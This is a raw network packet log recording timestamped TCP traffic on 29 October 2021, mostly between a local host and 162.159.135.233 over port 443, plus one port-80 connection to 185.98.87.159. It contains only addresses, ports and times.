Oct 29, 2021 15:30:29.423404932 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423415899 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423424959 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423454046 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423463106 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423495054 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423510075 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423517942 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423549891 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423569918 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423577070 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423609972 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423635006 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423641920 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423651934 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423698902 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423700094 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423710108 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423748970 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423758030 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423775911 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423825979 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423834085 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.439783096 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.439831018 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.439873934 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.439992905 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440017939 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440032959 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440042973 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440052032 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440076113 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440094948 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440103054 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440121889 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440161943 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440165997 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440180063 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440215111 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440227985 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440256119 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440265894 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440279007 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440304995 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440319061 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440344095 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440351963 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440370083 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440373898 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440427065 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440432072 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440442085 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440480947 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440483093 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440521002 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440531969 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.440541983 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.440574884 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.441529036 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.442245007 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457022905 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457087994 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457103014 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457123995 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457139969 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457143068 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457182884 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457190990 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457201958 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457235098 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457237959 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457246065 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457276106 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457297087 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457338095 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457341909 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457350969 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457376957 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457386971 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457422018 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457429886 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457468033 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457473040 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457483053 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457511902 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457525969 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457565069 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457611084 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457650900 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457672119 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457715034 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457715988 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457725048 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457751036 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457772017 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457804918 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457812071 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457823992 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.457842112 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.457935095 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.459355116 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.462822914 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.462841034 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.462855101 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.462862015 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.462925911 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.462933064 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.462940931 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.462976933 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.462980986 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463001013 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463017941 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.463023901 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463032007 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463079929 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.463088989 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463100910 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463119030 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.463124037 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463128090 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463196993 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.463202953 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463215113 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463310957 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.463315964 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.463329077 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.463356972 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.466032982 CEST	49830	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.467262030 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.475899935 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.475946903 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.475996017 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476016045 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476042032 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476080894 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476129055 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476141930 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476150036 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476201057 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476252079 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476296902 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476313114 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476320028 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476344109 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476392984 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476430893 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476458073 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476464987 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476556063 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476588964 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476607084 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476608992 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476624966 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476663113 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476720095 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476766109 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476777077 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476784945 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476831913 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476891994 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476948023 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.476948023 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.476964951 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.477008104 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.477371931 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.477432013 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.477467060 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.477477074 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.477492094 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.477641106 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.477698088 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.477746010 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.477755070 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.477766991 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.478162050 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478213072 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478254080 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.478264093 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478295088 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.478333950 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478394032 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478395939 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.478413105 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478452921 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.478796959 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478849888 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478883982 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.478893995 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.478940964 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.478954077 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479000092 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479032993 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479041100 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479063034 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479116917 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479165077 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479180098 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479187965 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479204893 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479238987 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479290009 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479347944 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479360104 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479367971 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479396105 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479424000 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479753017 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479804993 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479840040 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.479847908 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.479877949 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480101109 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480201006 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480295897 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480304956 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480319977 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480443001 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480448961 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480462074 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480508089 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480595112 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480649948 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480667114 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480674982 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480704069 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480731964 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.480942965 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.480998993 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.481024027 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.481033087 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.481107950 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.492244959 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.492302895 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.493957043 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.493985891 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.494060040 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.495425940 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.495503902 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.495587111 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.495606899 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.495651007 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.495673895 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.496304989 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496386051 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496417046 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.496427059 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496479034 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.496526003 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.496531010 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496550083 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496582985 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496592999 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.496601105 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496628046 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.496726990 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496790886 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.496794939 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496824026 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.496871948 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497030973 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497085094 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497100115 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497107983 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497127056 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497145891 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497200966 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497245073 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497255087 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497266054 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497275114 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497298956 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497337103 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497384071 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497394085 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497401953 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497415066 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497436047 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497479916 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497523069 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497526884 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497535944 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497569084 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497637987 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497683048 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497692108 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497699976 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497725964 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497785091 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497828960 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497831106 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497843027 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.497878075 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.497946024 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498003006 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498018980 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498070002 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498125076 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498171091 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498173952 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498183012 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498224020 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498275995 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498322964 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498322964 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498337030 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498387098 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498436928 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498481035 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498485088 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498495102 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498524904 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498603106 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498647928 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498652935 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498667002 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498698950 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498779058 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498826027 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498831034 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498841047 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498876095 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.498941898 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498986959 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.498996973 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499006987 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499037027 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499080896 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499125957 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499130011 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499139071 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499178886 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499222994 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499278069 CEST	49829	443	192.168.2.7	162.159.135.233
